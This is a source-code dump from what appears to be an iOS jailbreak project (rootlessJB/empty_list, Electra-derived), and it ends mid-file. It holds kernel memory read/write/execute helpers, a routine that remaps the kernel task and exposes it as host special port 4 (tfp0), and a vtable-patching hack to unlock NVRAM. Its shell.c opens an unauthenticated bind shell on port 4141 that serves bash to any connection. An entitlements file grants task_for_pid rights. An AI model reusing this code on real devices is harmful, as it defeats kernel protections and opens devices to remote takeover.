4 | #include "kern_utils.h"
5 | #include "patchfinder64.h"
6 | #include "osobject.h"
7 |
8 | // offsets in vtable:
9 | static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F;
10 | static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26;
11 | static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23;
12 |
13 | static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E;
14 | static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20;
15 | static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22;
16 |
17 | static uint32_t off_OSObject_Release = sizeof(void*) * 0x05;
18 | static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03;
19 | static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04;
20 |
21 | static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11;
22 |
23 | // 1 on success, 0 on error
24 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) {
25 | size_t len = strlen(key) + 1;
26 |
27 | uint64_t ks = kalloc(len);
28 | kwrite(ks, key, len);
29 |
30 | uint64_t vtab = rk64(dict);
31 | uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP);
32 |
33 | int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0);
34 |
35 | kfree(ks, len);
36 |
37 | return rv;
38 | }
39 |
40 | // XXX it can return 0 in lower 32 bits but still be valid
41 | // fix addr of returned value and check if rk64 gives ptr
42 | // to vtable addr saved before
43 |
44 | // address if exists, 0 if not
45 | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) {
46 | size_t len = strlen(key) + 1;
47 |
48 | uint64_t ks = kalloc(len);
49 | kwrite(ks, key, len);
50 |
51 | uint64_t vtab = rk64(dict);
52 | uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP);
53 |
54 | int rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0);
55 |
56 | kfree(ks, len);
57 |
58 | return rv;
59 | }
60 |
61 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) {
62 | uint64_t ret = _OSDictionary_GetItem(dict, key);
63 |
64 | if (ret != 0) {
65 | // XXX can it be not in zalloc?..
66 | ret = zm_fix_addr(ret);
67 | }
68 |
69 | return ret;
70 | }
71 |
72 | // 1 on success, 0 on error
73 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict) {
74 | uint64_t vtab = rk64(dict);
75 | uint64_t f = rk64(vtab + off_OSDictionary_Merge);
76 |
77 | return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0);
78 | }
79 |
80 | // 1 on success, 0 on error
81 | int OSArray_Merge(uint64_t array, uint64_t aArray) {
82 | uint64_t vtab = rk64(array);
83 | uint64_t f = rk64(vtab + off_OSArray_Merge);
84 |
85 | return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0);
86 | }
87 |
88 | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){
89 | uint64_t vtab = rk64(array);
90 | uint64_t f = rk64(vtab + off_OSArray_GetObject);
91 |
92 | return kexecute(f, array, idx, 0, 0, 0, 0, 0);
93 | }
94 |
95 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){
96 | uint64_t ret = _OSArray_GetObject(array, idx);
97 |
98 | if (ret != 0){
99 | // XXX can it be not in zalloc?..
100 | ret = zm_fix_addr(ret);
101 | }
102 | return ret;
103 | }
104 |
105 | void OSArray_RemoveObject(uint64_t array, unsigned int idx){
106 | uint64_t vtab = rk64(array);
107 | uint64_t f = rk64(vtab + off_OSArray_RemoveObject);
108 |
109 | (void)kexecute(f, array, idx, 0, 0, 0, 0, 0);
110 | }
111 |
112 | // XXX error handling just for fun? :)
113 | uint64_t _OSUnserializeXML(const char* buffer) {
114 | size_t len = strlen(buffer) + 1;
115 |
116 | uint64_t ks = kalloc(len);
117 | kwrite(ks, buffer, len);
118 |
119 | uint64_t errorptr = 0;
120 |
121 | uint64_t rv = kexecute(find_osunserializexml(), ks, errorptr, 0, 0, 0, 0, 0);
122 | kfree(ks, len);
123 |
124 | return rv;
125 | }
126 |
127 | uint64_t OSUnserializeXML(const char* buffer) {
128 | uint64_t ret = _OSUnserializeXML(buffer);
129 |
130 | if (ret != 0) {
131 | // XXX can it be not in zalloc?..
132 | ret = zm_fix_addr(ret);
133 | }
134 |
135 | return ret;
136 | }
137 |
138 | void OSObject_Release(uint64_t osobject) {
139 | uint64_t vtab = rk64(osobject);
140 | uint64_t f = rk64(vtab + off_OSObject_Release);
141 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
142 | }
143 |
144 | void OSObject_Retain(uint64_t osobject) {
145 | uint64_t vtab = rk64(osobject);
146 | uint64_t f = rk64(vtab + off_OSObject_Release);
147 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
148 | }
149 |
150 | uint32_t OSObject_GetRetainCount(uint64_t osobject) {
151 | uint64_t vtab = rk64(osobject);
152 | uint64_t f = rk64(vtab + off_OSObject_Release);
153 | return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
154 | }
155 |
156 | unsigned int OSString_GetLength(uint64_t osstring){
157 | uint64_t vtab = rk64(osstring);
158 | uint64_t f = rk64(vtab + off_OSString_GetLength);
159 | return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0);
160 | }
161 |
162 | char *OSString_CopyString(uint64_t osstring){
163 | unsigned int length = OSString_GetLength(osstring);
164 | char *str = malloc(length + 1);
165 | str[length] = 0;
166 |
167 | kread(OSString_CStringPtr(osstring), str, length);
168 | return str;
169 | }
170 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/osobject.h:
--------------------------------------------------------------------------------
1 | #define OSDictionary_ItemCount(dict) kread32(dict+20)
2 | #define OSDictionary_ItemBuffer(dict) kread64(dict+32)
3 | #define OSDictionary_ItemKey(buffer, idx) kread64(buffer+16*idx)
4 | #define OSDictionary_ItemValue(buffer, idx) kread64(buffer+16*idx+8)
5 | #define OSString_CStringPtr(str) kread64(str + 0x10)
6 | #define OSArray_ItemCount(arr) kread32(arr+0x14)
7 | #define OSArray_ItemBuffer(arr) kread64(arr+32)
8 |
9 | // see osobject.c for info
10 |
11 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val);
12 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key);
13 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict);
14 | void OSArray_RemoveObject(uint64_t array, unsigned int idx);
15 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx);
16 | int OSArray_Merge(uint64_t array, uint64_t aArray);
17 | uint64_t OSUnserializeXML(const char* buffer);
18 |
19 | void OSObject_Release(uint64_t osobject);
20 | void OSObject_Retain(uint64_t osobject);
21 | uint32_t OSObject_GetRetainCount(uint64_t osobject);
22 |
23 | unsigned int OSString_GetLength(uint64_t osstring);
24 | char *OSString_CopyString(uint64_t osstring);
25 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/patchfinder64.h:
--------------------------------------------------------------------------------
1 | #ifndef PATCHFINDER64_H_
2 | #define PATCHFINDER64_H_
3 |
4 | int init_kernel(uint64_t base, const char *filename);
5 | void term_kernel(void);
6 |
7 | // Fun part
8 | uint64_t find_allproc(void);
9 | uint64_t find_add_x0_x0_0x40_ret(void);
10 | uint64_t find_copyout(void);
11 | uint64_t find_bzero(void);
12 | uint64_t find_bcopy(void);
13 | uint64_t find_rootvnode(void);
14 | uint64_t find_trustcache(void);
15 | uint64_t find_amficache(void);
16 | uint64_t find_OSBoolean_True(void);
17 | uint64_t find_OSBoolean_False(void);
18 | uint64_t find_zone_map_ref(void);
19 | uint64_t find_osunserializexml(void);
20 | uint64_t find_smalloc(void);
21 | #endif
22 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/qilin.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/qilin.o
--------------------------------------------------------------------------------
/empty_list/jelbrek/remap_tfp_set_hsp.c:
--------------------------------------------------------------------------------
1 | //
2 | // remap_tfp_set_hsp.c
3 | // electra
4 | //
5 | // Created by Viktor Oreshkin on 16.01.18.
6 | // Copyright © 2018 Electra Team. All rights reserved.
7 | //
8 |
9 | #include "remap_tfp_set_hsp.h"
10 |
11 | #include
12 | #include "kmem.h"
13 | #include "offsets.h"
14 | #include "kern_utils.h"
15 | #include "patchfinder64.h"
16 |
17 | kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit);
18 |
19 | uint64_t make_fake_task(uint64_t vm_map) {
20 | uint64_t fake_task_kaddr = kmem_alloc_wired(0x1000);
21 |
22 | void* fake_task = malloc(0x1000);
23 | memset(fake_task, 0, 0x1000);
24 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
25 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
26 | *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
27 | *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
28 | kmemcpy(fake_task_kaddr, (uint64_t) fake_task, 0x1000);
29 | free(fake_task);
30 |
31 | return fake_task_kaddr;
32 | }
33 |
34 | // in async_wake.h
35 | void make_port_fake_task_port(mach_port_t port, uint64_t task_kaddr);
36 |
37 | int remap_tfp0_set_hsp4(mach_port_t *port) {
38 | // huge thanks to Siguza for hsp4 & v0rtex
39 | // for explainations and being a good rubber duck :p
40 |
41 | // see https://github.com/siguza/hsp4 for some background and explaination
42 | // tl;dr: there's a pointer comparison in convert_port_to_task_with_exec_token
43 | // which makes it return TASK_NULL when kernel_task is passed
44 | // "simple" vm_remap is enough to overcome this.
45 |
46 | // However, vm_remap has weird issues with submaps -- it either doesn't remap
47 | // or using remapped addresses leads to panics and kittens crying.
48 |
49 | // tasks fall into zalloc, so src_map is going to be zone_map
50 | // zone_map works perfectly fine as out zone -- you can
51 | // do remap with src/dst being same and get new address
52 |
53 | // however, using kernel_map makes more sense
54 | // we don't want zalloc to mess with our fake task
55 | // and neither
56 |
57 | // proper way to use vm_* APIs from userland is via mach_vm_*
58 | // but those accept task ports, so we're gonna set up
59 | // fake task, which has zone_map as its vm_map
60 | // then we'll build fake task port from that
61 | // and finally pass that port both as src and dst
62 |
63 | // last step -- wire new kernel task -- always a good idea to wire critical
64 | // kernel structures like tasks (or vtables :P )
65 |
66 | // and we can write our port to realhost.special[4]
67 |
68 | // we can use mach_host_self() if we're root
69 | mach_port_t host_priv = fake_host_priv();
70 |
71 | int ret;
72 | uint64_t remapped_task_addr = 0;
73 | // task is smaller than this but it works so meh
74 | uint64_t sizeof_task = 0x1000;
75 |
76 | uint64_t kernel_task_kaddr;
77 |
78 | {
79 | // find kernel task first
80 | kernel_task_kaddr = rk64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
81 |
82 | while (kernel_task_kaddr != 0) {
83 | uint64_t bsd_info = rk64(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
84 |
85 | uint32_t pid = rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
86 |
87 | if (pid == 0) {
88 | break;
89 | }
90 |
91 | kernel_task_kaddr = rk64(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_PREV));
92 | }
93 |
94 | if (kernel_task_kaddr == 0) {
95 | printf("[remap_kernel_task] failed to find kernel task\n");
96 | return 1;
97 | }
98 |
99 | printf("[remap_kernel_task] kernel task at 0x%llx\n", kernel_task_kaddr);
100 | }
101 |
102 | mach_port_t zm_fake_task_port = MACH_PORT_NULL;
103 | mach_port_t km_fake_task_port = MACH_PORT_NULL;
104 | ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &zm_fake_task_port);
105 | ret = ret || mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &km_fake_task_port);
106 |
107 | if (ret == KERN_SUCCESS && *port == MACH_PORT_NULL) {
108 | ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, port);
109 | }
110 |
111 | if (ret != KERN_SUCCESS) {
112 | printf("[remap_kernel_task] unable to allocate ports: 0x%x (%s)\n", ret, mach_error_string(ret));
113 | return 1;
114 | }
115 |
116 | // strref \"Nothing being freed to the zone_map. start = end = %p\\n\"
117 | // or traditional \"zone_init: kmem_suballoc failed\"
118 | uint64_t zone_map_kptr = find_zone_map_ref();
119 | uint64_t zone_map = rk64(zone_map_kptr);
120 |
121 | // kernel_task->vm_map == kernel_map
122 | uint64_t kernel_map = rk64(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));
123 |
124 | uint64_t zm_fake_task_kptr = make_fake_task(zone_map);
125 | uint64_t km_fake_task_kptr = make_fake_task(kernel_map);
126 |
127 | make_port_fake_task_port(zm_fake_task_port, zm_fake_task_kptr);
128 | make_port_fake_task_port(km_fake_task_port, km_fake_task_kptr);
129 |
130 | km_fake_task_port = zm_fake_task_port;
131 |
132 | vm_prot_t cur, max;
133 | ret = mach_vm_remap(km_fake_task_port,
134 | &remapped_task_addr,
135 | sizeof_task,
136 | 0,
137 | VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR,
138 | zm_fake_task_port,
139 | kernel_task_kaddr,
140 | 0,
141 | &cur, &max,
142 | VM_INHERIT_NONE);
143 |
144 |
145 | if (ret != KERN_SUCCESS) {
146 | printf("[remap_kernel_task] remap failed: 0x%x (%s)\n", ret, mach_error_string(ret));
147 | return 1;
148 | }
149 |
150 | if (kernel_task_kaddr == remapped_task_addr) {
151 | printf("[remap_kernel_task] remap failure: addr is the same after remap\n");
152 | return 1;
153 | }
154 |
155 | printf("[remap_kernel_task] remapped successfully to 0x%llx\n", remapped_task_addr);
156 |
157 | ret = mach_vm_wire(host_priv, km_fake_task_port, remapped_task_addr, sizeof_task, VM_PROT_READ | VM_PROT_WRITE);
158 |
159 | if (ret != KERN_SUCCESS) {
160 | printf("[remap_kernel_task] wire failed: 0x%x (%s)\n", ret, mach_error_string(ret));
161 | return 1;
162 | }
163 |
164 | uint64_t port_kaddr = find_port_address(*port);
165 | printf("[remap_kernel_task] port kaddr: 0x%llx\n", port_kaddr);
166 |
167 | make_port_fake_task_port(*port, remapped_task_addr);
168 |
169 | if (rk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) != remapped_task_addr) {
170 | printf("[remap_kernel_task] read back tfpzero kobject didnt match!\n");
171 | return 1;
172 | }
173 |
174 | // lck_mtx -- arm: 8 arm64: 16
175 | const int offsetof_host_special = 0x10;
176 | uint64_t host_priv_kaddr = find_port_address(mach_host_self());
177 | uint64_t realhost_kaddr = rk64(host_priv_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
178 | wk64(realhost_kaddr + offsetof_host_special + 4 * sizeof(void*), port_kaddr);
179 |
180 | return 0;
181 | }
182 |
183 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/remap_tfp_set_hsp.h:
--------------------------------------------------------------------------------
1 | //
2 | // remap_tfp_set_hsp.h
3 | // electra
4 | //
5 | // Created by Viktor Oreshkin on 16.01.18.
6 | // Copyright © 2018 Electra Team. All rights reserved.
7 | //
8 |
9 | #ifndef remap_tfp_set_hsp_h
10 | #define remap_tfp_set_hsp_h
11 |
12 | #include
13 |
14 | int remap_tfp0_set_hsp4(mach_port_t *port);
15 |
16 | #endif /* remap_tfp_set_hsp_h */
17 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/shell.c:
--------------------------------------------------------------------------------
1 |
2 | /* J. Levin has compiled a bunch of Apple opensource utilites for arm64
3 | * You can get them from his site here: http://newosxbook.com/tools/iOSBinaries.html
4 | *
5 | * Follow the link to "The 64-bit tgz pack"
6 | *
7 | * Unpack the tarball into a directory called iosbinpack64 and drag-and-drop
8 | * that directory into the directory with all the source files in in XCode
9 | * so that it ends up in the .app bundle
10 | */
11 |
12 | #include
13 | #include
14 | #include
15 | #include
16 |
17 | #include
18 |
19 | #include
20 | #include
21 | #include
22 |
23 | #include
24 | #include
25 | #include
26 |
27 | #include
28 |
29 | char* bundle_path() {
30 | CFBundleRef mainBundle = CFBundleGetMainBundle();
31 | CFURLRef resourcesURL = CFBundleCopyResourcesDirectoryURL(mainBundle);
32 | int len = 4096;
33 | char* path = malloc(len);
34 |
35 | CFURLGetFileSystemRepresentation(resourcesURL, TRUE, (UInt8*)path, len);
36 |
37 | return path;
38 | }
39 |
40 | char* prepare_directory(char* dir_path) {
41 | DIR *dp;
42 | struct dirent *ep;
43 |
44 | char* in_path = NULL;
45 | char* bundle_root = bundle_path();
46 | asprintf(&in_path, "/var/containers/Bundle/iosbinpack64/%s", dir_path);
47 |
48 |
49 | dp = opendir(in_path);
50 | if (dp == NULL) {
51 | printf("unable to open payload directory: %s\n", in_path);
52 | return NULL;
53 | }
54 |
55 | while ((ep = readdir(dp))) {
56 | char* entry = ep->d_name;
57 | char* full_entry_path = NULL;
58 | asprintf(&full_entry_path, "/var/containers/Bundle/iosbinpack64/%s/%s", dir_path, entry);
59 |
60 | printf("preparing: %s\n", full_entry_path);
61 |
62 | // make that executable:
63 | int chmod_err = chmod(full_entry_path, 0777);
64 | if (chmod_err != 0){
65 | printf("chmod failed\n");
66 | }
67 |
68 | free(full_entry_path);
69 | }
70 |
71 | closedir(dp);
72 | free(bundle_root);
73 |
74 | return in_path;
75 | }
76 |
77 | // prepare all the payload binaries under the iosbinpack64 directory
78 | // and build up the PATH
79 | char* prepare_payload() {
80 | char* path = calloc(4096, 1);
81 | strcpy(path, "PATH=");
82 | char* dir;
83 | dir = prepare_directory("bin");
84 | strcat(path, dir);
85 | strcat(path, ":");
86 | free(dir);
87 |
88 | dir = prepare_directory("sbin");
89 | strcat(path, dir);
90 | strcat(path, ":");
91 | free(dir);
92 |
93 | dir = prepare_directory("usr/bin");
94 | strcat(path, dir);
95 | strcat(path, ":");
96 | free(dir);
97 |
98 | dir = prepare_directory("usr/local/bin");
99 | strcat(path, dir);
100 | strcat(path, ":");
101 | free(dir);
102 |
103 | dir = prepare_directory("usr/sbin");
104 | strcat(path, dir);
105 | strcat(path, ":");
106 | free(dir);
107 |
108 | strcat(path, "/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec");
109 |
110 | return path;
111 | }
112 |
113 | void do_bind_shell(char* env, int port) {
114 | char* bundle_root = bundle_path();
115 |
116 | char* shell_path = NULL;
117 | asprintf(&shell_path, "/var/containers/Bundle/iosbinpack64/bin/bash");
118 |
119 | char* argv[] = {shell_path, NULL};
120 | char* envp[] = {env, NULL};
121 |
122 | struct sockaddr_in sa;
123 | sa.sin_len = 0;
124 | sa.sin_family = AF_INET;
125 | sa.sin_port = htons(port);
126 | sa.sin_addr.s_addr = INADDR_ANY;
127 |
128 | int sock = socket(PF_INET, SOCK_STREAM, 0);
129 | bind(sock, (struct sockaddr*)&sa, sizeof(sa));
130 | listen(sock, 1);
131 |
132 | printf("shell listening on port %d\n", port);
133 |
134 | for(;;) {
135 | int conn = accept(sock, 0, 0);
136 |
137 | posix_spawn_file_actions_t actions;
138 |
139 | posix_spawn_file_actions_init(&actions);
140 | posix_spawn_file_actions_adddup2(&actions, conn, 0);
141 | posix_spawn_file_actions_adddup2(&actions, conn, 1);
142 | posix_spawn_file_actions_adddup2(&actions, conn, 2);
143 |
144 |
145 | pid_t spawned_pid = 0;
146 | int spawn_err = posix_spawn(&spawned_pid, shell_path, &actions, NULL, argv, envp);
147 |
148 | if (spawn_err != 0){
149 | perror("shell spawn error");
150 | } else {
151 | printf("shell posix_spawn success!\n");
152 | }
153 |
154 | posix_spawn_file_actions_destroy(&actions);
155 |
156 | printf("our pid: %d\n", getpid());
157 | printf("spawned_pid: %d\n", spawned_pid);
158 |
159 | int wl = 0;
160 | while (waitpid(spawned_pid, &wl, 0) == -1 && errno == EINTR);
161 | }
162 | }
163 |
164 | void drop_payload() {
165 | char* env_path = prepare_payload();
166 | printf("will launch a shell with this environment: %s\n", env_path);
167 |
168 | do_bind_shell(env_path, 4141);
169 | free(env_path);
170 | }
171 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/shell.h:
--------------------------------------------------------------------------------
1 | #ifndef drop_payload_h
2 | #define drop_payload_h
3 |
4 | void drop_payload();
5 | char* prepare_payload();
6 | char* bundle_path();
7 |
8 | #endif
9 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/unlocknvram.c:
--------------------------------------------------------------------------------
1 | // iOS 11 moves OFVariables to const
2 | // https://twitter.com/s1guza/status/908790514178301952
3 | // however, if we:
4 | // 1) Can find IODTNVRAM service
5 | // 2) Have tfp0 / kernel read|write|alloc
6 | // 3) Can leak kernel address of mach port
7 | // then we can fake vtable on IODTNVRAM object
8 | // async_wake satisfies those requirements
9 | // however, I wasn't able to actually set or get ANY nvram variable
10 | // not even userread/userwrite
11 | // Guess sandboxing won't let to access nvram
12 |
13 | #include
14 | #include
15 | #include "kern_utils.h"
16 | #include "offsetof.h"
17 | #include "../offsets.h"
18 |
19 | // convertPropToObject calls getOFVariableType
20 | // open convertPropToObject, look for first vtable call -- that'd be getOFVariableType
21 | // find xrefs, figure out vtable start from that
22 | // following are offsets of entries in vtable
23 |
24 | // it always returns false
25 | const uint64_t searchNVRAMProperty = 0x590;
26 | // 0 corresponds to root only
27 | const uint64_t getOFVariablePerm = 0x558;
28 |
29 | typedef mach_port_t io_service_t;
30 | typedef mach_port_t io_connect_t;
31 | extern const mach_port_t kIOMasterPortDefault;
32 | CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
33 | io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
34 |
35 |
36 | // get kernel address of IODTNVRAM object
37 | uint64_t get_iodtnvram_obj(void) {
38 | // get user serv
39 | io_service_t IODTNVRAMSrv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
40 |
41 | // leak user serv
42 | uint64_t nvram_up = find_port_address(IODTNVRAMSrv);
43 | // get kern obj -- IODTNVRAM*
44 | uint64_t IODTNVRAMObj = kread64(nvram_up + offsetof_ip_kobject);
45 |
46 | return IODTNVRAMObj;
47 | }
48 |
49 | void unlocknvram(void) {
50 | const uint64_t searchNVRAMProperty = 0x590;
51 | // 0 corresponds to root only
52 | const uint64_t getOFVariablePerm = 0x558;
53 | // get user serv
54 | io_service_t IODTNVRAMSrv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
55 |
56 | // leak user serv
57 | // it should use via_kmem_read method by now, so second param doesn't matter
58 | uint64_t nvram_up = find_port_address(IODTNVRAMSrv);
59 | // get kern obj -- IODTNVRAM*
60 | uint64_t IODTNVRAMObj = kread64(nvram_up + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
61 | uint64_t vtable_start = kread64(IODTNVRAMObj);
62 | uint64_t vtable_end = vtable_start;
63 | // Is vtable really guaranteed to end with 0 or was it just a coincidence?..
64 | // should we just use some max value instead?
65 | while (kread64(vtable_end) != 0) vtable_end += sizeof(uint64_t);
66 |
67 | uint32_t vtable_len = (uint32_t) (vtable_end - vtable_start);
68 |
69 | // copy vtable to userspace
70 | uint64_t *buf = calloc(1, vtable_len);
71 | kread(vtable_start, buf, vtable_len);
72 |
73 | // alter it
74 | buf[getOFVariablePerm/sizeof(uint64_t)] = buf[searchNVRAMProperty/sizeof(uint64_t)];
75 |
76 | // allocate buffer in kernel and copy it back
77 | uint64_t fake_vtable = kmem_alloc_wired(vtable_len);
78 | kwrite(fake_vtable, buf, vtable_len);
79 |
80 | // replace vtable on IODTNVRAM object
81 | kwrite64(IODTNVRAMObj, fake_vtable);
82 |
83 | free(buf);
84 | }
85 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/unlocknvram.h:
--------------------------------------------------------------------------------
1 | void unlocknvram(void);
2 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/vnode_utils.h:
--------------------------------------------------------------------------------
1 | int vnode_lookup(const char *path, int flags, uint64_t *vnode, uint64_t vfs_context);
2 | uint64_t get_vfs_context();
3 | int vnode_put(uint64_t vnode);
4 | unsigned int init_offsets();
5 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/vnode_utils.m:
--------------------------------------------------------------------------------
1 | //
2 | // *.c
3 | // async_wake_ios
4 | //
5 | // Created by George on 18/12/17.
6 | // Copyright © 2017 Ian Beer. All rights reserved.
7 | //
8 |
9 | #include "kern_utils.h"
10 | #include "patchfinder64.h"
11 | #include "offsetof.h"
12 | #include "../offsets.h"
13 | #include "kexecute.h"
14 |
15 | #include
16 |
17 | extern uint64_t kslide;
18 |
19 | int vnode_lookup(const char *path, int flags, uint64_t *vnode, uint64_t vfs_context) {
20 |
21 | size_t len = strlen(path) + 1;
22 | uint64_t ptr = kalloc(8);
23 | uint64_t ptr2 = kalloc(len);
24 | kwrite(ptr2, path, len);
25 |
26 | if (kexecute(ksym_vnode_lookup + kslide, ptr2, flags, ptr, vfs_context, 0, 0, 0)) {
27 | return -1;
28 | }
29 | *vnode = kread64(ptr);
30 | kfree(ptr2, len);
31 | kfree(ptr, 8);
32 | return 0;
33 | }
34 |
35 | uint64_t get_vfs_context() {
36 | return zm_fix_addr(kexecute(ksym_vfs_current_context + kslide, 1, 0, 0, 0, 0, 0, 0));
37 | }
38 |
39 | int vnode_put(uint64_t vnode) {
40 | return kexecute(ksym_vnode_put + kslide, vnode, 0, 0, 0, 0, 0, 0);
41 | }
42 |
43 | unsigned int init_offsets() {
44 | extern unsigned int getOffsets(uint64_t kslide);
45 | return getOffsets(kslide);
46 | }
47 |
--------------------------------------------------------------------------------
/empty_list/kmem.h:
--------------------------------------------------------------------------------
1 | #ifndef kmem_h
2 | #define kmem_h
3 |
4 | extern mach_port_t tfp0;
5 |
6 | uint32_t rk32(uint64_t kaddr);
7 | uint64_t rk64(uint64_t kaddr);
8 |
9 | void wk32(uint64_t kaddr, uint32_t val);
10 | void wk64(uint64_t kaddr, uint64_t val);
11 |
12 | #endif
13 |
--------------------------------------------------------------------------------
/empty_list/launchctl/Ent.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | platform-application
6 |
7 | get-task-allow
8 |
9 | com.apple.system-task-ports
10 |
11 | task_for_pid-allow
12 |
13 | com.apple.private.security.container-required
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/empty_list/launchctl/Makefile:
--------------------------------------------------------------------------------
1 | TARGET = launchctl
2 | OUTDIR ?= bin
3 |
4 | CC = xcrun -sdk iphoneos cc -arch arm64
5 | # it is injected into trust cache by code
6 | # which only supports sha-256 signatures
7 | LDID = ldid2
8 | CFLAGS = -Wall
9 |
10 | .PHONY: all clean
11 |
12 | DEBUG ?= 0
13 | ifeq ($(DEBUG), 1)
14 | CFLAGS += -DINJECT_CRITICALD_DEBUG
15 | else
16 | CFLAGS += -O2
17 | endif
18 |
19 | all: $(OUTDIR)/$(TARGET)
20 |
21 | $(OUTDIR):
22 | mkdir -p $(OUTDIR)
23 |
24 | $(OUTDIR)/$(TARGET): *.m | $(OUTDIR)
25 | $(CC) -o $@ $^ -framework Foundation $(CFLAGS)
26 | $(LDID) -SEnt.plist $@
27 |
28 | clean:
29 | rm -f $(OUTDIR)/$(TARGET)
30 |
--------------------------------------------------------------------------------
/empty_list/launchctl/main.m:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | #define BUFSIZE 1024
14 |
15 | #define JAILBREAKD_COMMAND_ENTITLE 1
16 | #define JAILBREAKD_COMMAND_PLATFORMIZE 2
17 | #define JAILBREAKD_COMMAND_FIXUP_SETUID 6
18 |
19 | struct __attribute__((__packed__)) JAILBREAKD_ENTITLE_PID {
20 | uint8_t Command;
21 | int32_t Pid;
22 | };
23 |
24 | int main(int argc, const char* argv[], const char* envp[]) {
25 |
26 | int sockfd, portno, n;
27 | int serverlen;
28 | struct sockaddr_in serveraddr;
29 | struct hostent *server;
30 | char *hostname;
31 | char buf[BUFSIZE];
32 |
33 | hostname = "127.0.0.1";
34 | portno = 5;
35 |
36 | sockfd = socket(AF_INET, SOCK_DGRAM, 0);
37 | if (sockfd < 0)
38 | printf("ERROR opening socket\n");
39 |
40 | /* gethostbyname: get the server's DNS entry */
41 | server = gethostbyname(hostname);
42 | if (server == NULL) {
43 | fprintf(stderr,"ERROR, no such host as %s\n", hostname);
44 | exit(0);
45 | }
46 |
47 | /* build the server's Internet address */
48 | bzero((char *) &serveraddr, sizeof(serveraddr));
49 | serveraddr.sin_family = AF_INET;
50 | bcopy((char *)server->h_addr,
51 | (char *)&serveraddr.sin_addr.s_addr, server->h_length);
52 | serveraddr.sin_port = htons(portno);
53 |
54 | /* get a message from the user */
55 | bzero(buf, BUFSIZE);
56 |
57 |
58 | pid_t pd;
59 | posix_spawnattr_t attr;
60 | posix_spawnattr_init(&attr);
61 | posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED); //this flag will make the created process stay frozen until we send the CONT signal. This so we can platformize it before it launches.
62 |
